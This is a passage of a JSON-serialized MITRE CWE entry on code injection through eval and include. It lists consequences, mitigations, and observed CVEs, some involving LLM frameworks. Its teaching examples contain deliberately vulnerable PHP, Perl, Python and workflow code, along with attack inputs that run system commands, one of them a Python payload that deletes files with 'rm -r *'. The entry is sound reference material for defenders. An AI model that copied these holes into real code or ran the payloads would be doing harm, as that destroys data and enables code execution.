"@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1003", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "913", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": [{"@Class": "Interpreted", "@Prevalence": "Sometimes"}, {"@Name": "Python", "@Prevalence": "Undetermined"}], "Technology": {"@Name": "AI/ML", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Code Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Access Control", "Impact": "Bypass Protection Mechanism", "Note": "In some cases, injectable code controls authentication; this may lead to a remote vulnerability."}, {"Scope": "Access Control", "Impact": "Gain Privileges or Assume Identity", "Note": "Injected code can access resources that the attacker is directly prevented from accessing."}, {"Scope": ["Integrity", "Confidentiality", "Availability"], "Impact": "Execute Unauthorized Code or Commands", "Note": "When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. As a result, code injection can often result in the execution of arbitrary code. Code injection   attacks can also lead to loss of data integrity in nearly all cases, since the control-plane data injected is always incidental to data recall or writing."}, {"Scope": "Non-Repudiation", "Impact": "Hide Activities", "Note": "Often the actions performed by injected control code are unlogged."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Architecture and Design", "Strategy": "Refactoring", "Description": ["Refactor your program so that you do not have to dynamically generate code."]}, {"Phase": "Architecture and Design", "Description": ["Run your code in a \"jail\" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.", "Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.", "This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.", "Be careful to avoid CWE-243 and other weaknesses related to jails."]}, {"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.", "To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit()."]}, {"Phase": "Testing", "Description": ["Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results."]}, {"@Mitigation_ID": "MIT-32", "Phase": "Operation", "Strategy": "Compilation or Build Hardening", "Description": ["Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's \"-T\" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184)."]}, {"@Mitigation_ID": "MIT-32", "Phase": "Operation", "Strategy": "Environment Hardening", "Description": ["Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's \"-T\" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184)."]}, {"Phase": "Implementation", "Description": ["For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."], "Effectiveness": "Discouraged Common Practice"}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-32", "Intro_Text": "This example attempts to write user messages to a message file and allow users to view them.", "Example_Code": [{"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:br": [null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null], "#text": "$name = $_GET[\"name\"];$message = $_GET[\"message\"];$handle = fopen($MessageFile, \"a+\");fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");fclose($handle);echo \"Message Saved!<p>\\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");", "fclose($handle);", "echo \"Message Saved!<p>\\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "<?php system(\"/bin/ls -l\");?>", "#text_blocks": ["<?php system(\"/bin/ls -l\");?>"]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}, {"@Demonstrative_Example_ID": "DX-31", "Intro_Text": "edit-config.pl: This CGI script is used to modify settings in a configuration file.", "Example_Code": [{"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to add a field/key to a file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to set key to a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to delete key from a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null], "xhtml:i": ["# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!"], "#text": "my ($fname, $action) = @_;my $key = param('key');my $val = param('val');\n                           \n                           \n                           \n                           \n                           \n                           \n                           \n                           my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";eval($code);"}}, {"@style": "margin-left:1em;", "#text": "handleConfigAction($configfile, param('action'));"}, {"@style": "margin-left:1em;", "#text": "print \"No action specified!\\n\";"}], "#text": "use CGI qw(:standard);\n                     sub config_file_add_key {}\n                     sub config_file_set_key {}\n                     sub config_file_delete_key {}\n                     sub handleConfigAction {}\n                     $configfile = \"/home/cwe/config.txt\";print header;if (defined(param('action'))) {}else {}"}, "#text_blocks": ["use CGI qw(:standard);", "sub config_file_add_key {", "my ($fname, $key, $arg) = @_;", "# code to add a field/key to a file goes here", "}", "sub config_file_set_key {", "my ($fname, $key, $arg) = @_;", "# code to set key to a particular file goes here", "}", "sub config_file_delete_key {", "my ($fname, $key, $arg) = @_;", "# code to delete key from a particular file goes here", "}", "sub handleConfigAction {", "my ($fname, $action) = @_;", "my $key = param('key');", "my $val = param('val');", "# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!", "my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";", "eval($code);", "}", "$configfile = \"/home/cwe/config.txt\";", "print header;", "if (defined(param('action'))) {", "handleConfigAction($configfile, param('action'));", "}", "else {", "print \"No action specified!\\n\";", "}"]}, {"@Nature": "Attack", "xhtml:div": "add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["add_key(\",\",\"); system(\"/bin/ls\");"]}, {"@Nature": "Result", "xhtml:div": "config_file_add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["config_file_add_key(\",\",\"); system(\"/bin/ls\");"]}], "Body_Text": ["The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:", "This would produce the following string in handleConfigAction():", "Any arbitrary Perl code could be added after the attacker has \"closed off\" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the \"_key(\\$fname, \\$key, \\$val)\" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated."]}, {"@Demonstrative_Example_ID": "DX-156", "Intro_Text": "This simple python3 script asks a user to supply a comma-separated list of numbers as input and adds them together.", "Example_Code": [{"@Nature": "Bad", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "#text": "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")\n\t\t      return"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + num"}], "#text": "sum = 0\n\t\t    try:\n\t\t    \n\t\t    except SyntaxError:\n\t\t    \n                    for num in numbers:\n                    \n                    print(f\"Sum of {numbers} = {sum}\")"}, "#text": "def main():\n                  \n                  main()"}, "#text_blocks": ["def main():", "sum = 0", "try:", "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))", "except SyntaxError:", "print(\"Error: invalid input\")", "return", "for num in numbers:", "sum = sum + num", "print(f\"Sum of {numbers} = {sum}\")", "main()"]}, {"@Nature": "Attack", "xhtml:div": "__import__('subprocess').getoutput('rm -r *')", "#text_blocks": ["__import__('subprocess').getoutput('rm -r *')"]}, {"@Nature": "Good", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + int(num)"}, "#text": "for num in numbers:\n                      \n                      print(f\"Sum of {numbers} = {sum}\")"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")"}], "#text": "sum = 0\n                    numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")\n                    try:\n                    \n                    except ValueError:"}, "#text": "def main():\n                  \n                  main()"}, "#text_blocks": ["def main():", "sum = 0", "numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")", "try:", "for num in numbers:", "sum = sum + int(num)", "print(f\"Sum of {numbers} = {sum}\")", "except ValueError:", "print(\"Error: invalid input\")", "main()"]}], "Body_Text": ["The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:", "This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.", "A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.", "An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."]}, {"@Demonstrative_Example_ID": "DX-236", "Intro_Text": "The following code is a workflow job written\n\t      using YAML. The code attempts to download pull request\n\t      artifacts, unzip from the artifact called pr.zip and\n\t      extract the value of the file NR into a variable\n\t      \"pr_number\" that will be used later in another job.  It\n\t      attempts to create a github workflow environment\n\t      variable, writing to $GITHUB_ENV. The environment\n\t      variable value is retrieved from an external\n\t      resource.", "Example_Code": [{"@Nature": "Bad", "@Language": "Other", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t    repo: context.repo.repo,\n\t\t\t    run_id: ${{ github.event.workflow_run.id }},"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "return artifact.name == \"pr\""}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t    repo: context.repo.repo,\n\t\t\t    artifact_id: matchPrArtifact.id,\n\t\t\t    archive_format: 'zip',"}], "#text": "var artifacts = await github.actions.listWorkflowRunArtifacts({\n\t\t\t  \n\t\t\t  });\n\t\t\t  var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {\n\t\t\t  \n\t\t\t  })[0];\n\t\t\t  var downloadPr = await github.actions.downloadArtifact({\n\t\t\t  \n\t\t\t  });\n\t\t\t  var fs = require('fs');\n\t\t\t  fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));"}, "#text": "script: |"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "unzip pr.zip\n\t\t\techo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"}], "#text": "- name: 'Download artifact'\n\t\t      uses: actions/github-script\n\t\t      with:\n\t\t      \n\t\t      - run: |"}, "#text": "runs-on: ubuntu-latest\n\t\t    steps:"}, "#text": "deploy:"}, "#text": "name: Deploy Preview\n\t\tjobs:", "#text_blocks": ["name: Deploy Preview", "jobs:", "deploy:", "runs-on: ubuntu-latest", "steps:", "- name: 'Download artifact'", "uses: actions/github-script", "with:", "script: |", "var artifacts = await github.actions.listWorkflowRunArtifacts({", "owner: context.repo.owner,", "repo: context.repo.repo,", "run_id: ${{ github.event.workflow_run.id }},", "});", "var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {", "return artifact.name == \"pr\"", "})[0];", "var downloadPr = await github.actions.downloadArtifact({", "owner: context.repo.owner,", "repo: context.repo.repo,", "artifact_id: matchPrArtifact.id,", "archive_format: 'zip',", "});", "var fs = require('fs');", "fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));", "- run: |", "unzip pr.zip", "echo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"]}, {"@Nature": "Attack", "#text": "\\nNODE_OPTIONS=\"--experimental-modules --experiments-loader=data:text/javascript,console.log('injected code');//\""}, {"@Nature": "Good", "@Language": "Other", "#text": "The code could be modified to validate that the NR\n\t\tfile only contains a numeric value, or the code could\n\t\tretrieve the PR number from a more trusted source."}], "Body_Text": [{"xhtml:p": ["The code does not neutralize the value of the\n\t      file NR, e.g. by validating that NR only contains a\n\t      number (CWE-1284). The NR file is attacker controlled\n\t      because it originates from a pull request that produced\n\t      pr.zip.", "The attacker could escape the existing\n\t      pr_number and create a new variable using a \"\\n\"\n\t      (CWE-93) followed by any environment variable to be\n\t      added such as:"], "#text_blocks": ["The code does not neutralize the value of the\n\t      file NR, e.g. by validating that NR only contains a\n\t      number (CWE-1284). The NR file is attacker controlled\n\t      because it originates from a pull request that produced\n\t      pr.zip.", "The attacker could escape the existing\n\t      pr_number and create a new variable using a \"\\n\"\n\t      (CWE-93) followed by any environment variable to be\n\t      added such as:"]}, {"xhtml:p": "This would result in injecting and running\n\t      javascript code (CWE-94) on the workflow runner with\n\t      elevated privileges.", "#text_blocks": ["This would result in injecting and running\n\t      javascript code (CWE-94) on the workflow runner with\n\t      elevated privileges."]}]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2023-29374", "Description": "Math component in an LLM framework translates user input into a Python\n\t\t\t   expression that is input into the Python exec() method, allowing code\n\t\t\t   execution - one variant of a \"prompt injection\" attack.", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-29374"}, {"Reference": "CVE-2024-5565", "Description": "Python-based library uses an LLM prompt containing user input to\n\t\t\t   dynamically generate code that is then fed as input into the Python\n\t\t\t   exec() method, allowing code execution - one variant of a \"prompt\n\t\t\t   injection\" attack.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-5565"}, {"Reference": "CVE-2024-4181", "Description": "Framework for LLM applications allows eval injection via a crafted response from a hosting provider.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-4181"}, {"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2021-22204", "Description": "Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22204"}, {"Reference": "CVE-2020-8218", "Description": "\"Code injection\" in VPN product, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-8218"}, {"Reference": "CVE-2008-5071", "Description": "Eval injection in PHP program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5071"}, {"Reference": "CVE-2002-1750", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1750"}, {"Reference": "CVE-2008-5305", "Description": "Eval injection in Perl program using an ID that should only contain hyphens and numbers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5305"}, {"Reference": "CVE-2002-1752", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1752"}, {"Reference": "CVE-2002-1753", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1753"}, {"Reference": "CVE-2005-1527", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1527"}, {"Reference": "CVE-2005-2837", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2837"}, {"Reference": "CVE-2005-1921", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1921"}, {"Reference": "CVE-2005-2498", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2498"}, {"Reference": "CVE-2005-3302", "Description": "Code injection into Python eval statement from a field in a formatted file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3302"}, {"Reference": "CVE-2007-1253", "Description": "Eval injection in Python program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1253"}, {"Reference": "CVE-2001-1471", "Description": "Chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1471"}, {"Reference": "CVE-2002-0495", "Description": "Perl code directly injected into CGI library file from parameters to another CGI program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0495"}, {"Reference": "CVE-2005-1876", "Description": "Direct PHP code injection into supporting template file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1876"}, {"Reference": "CVE-2005-1894", "Description": "Direct code injection into PHP script that can be accessed by attacker.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1894"}, {"Reference": "CVE-2003-0395", "Description": "PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0395"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_ID": "CODE", "Entry_Name": "Code Evaluation and Injection"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-2", "Entry_Name": "Req CR 3.5"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 3-3", "Entry_Name": "Req SR 3.5"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-1", "Entry_Name": "Req SVV-1"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-1", "Entry_Name": "Req SVV-3"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "242"}, {"@CAPEC_ID": "35"}, {"@CAPEC_ID": "77"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-44", "@Section": "\"Sin 3: Web-Client Related Vulnerabilities (XSS).\" Page 63"}, {"@External_Reference_ID": "REF-1372"}, {"@External_Reference_ID": "REF-1373", "@Section": "ast.literal_eval(node_or_string)"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This entry is frequently misused for vulnerabilities with a technical impact of \"code execution,\" which does not by itself indicate a root cause weakness, since dozens of weaknesses can enable code execution.", "Comments": "This weakness only applies when the product's functionality intentionally constructs all or part of a code segment. It could be that executing code could be the result of other weaknesses that do not involve the construction of code segments.", "Reasons": {"Reason": [{"@Type": "Frequent Misuse"}, {"@Type": "Frequent Misinterpretation"}]}}, "Notes": {"Note": {"@Type": "Theoretical", "xhtml:p": "Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.", "#text_blocks": ["Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities."]}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-01-12", "Modification_Version": "1.2", "Modification_ReleaseDate": "2009-01-12", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-03-10", "Modification_Version": "1.3", "Modification_ReleaseDate": "2009-03-10", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Demonstrative_Examples, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-03-29", "Modification_Version": "1.12", "Modification_ReleaseDate": "2011-03-30", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Demonstrative_Examples, Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-09-19", "Modification_Version": "3.4", "Modification_ReleaseDate": "2019-09-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-07-20", "Modification_Version": "4.5", "Modification_ReleaseDate": "2021-07-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Observed_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Demonstrative_Examples, Description, 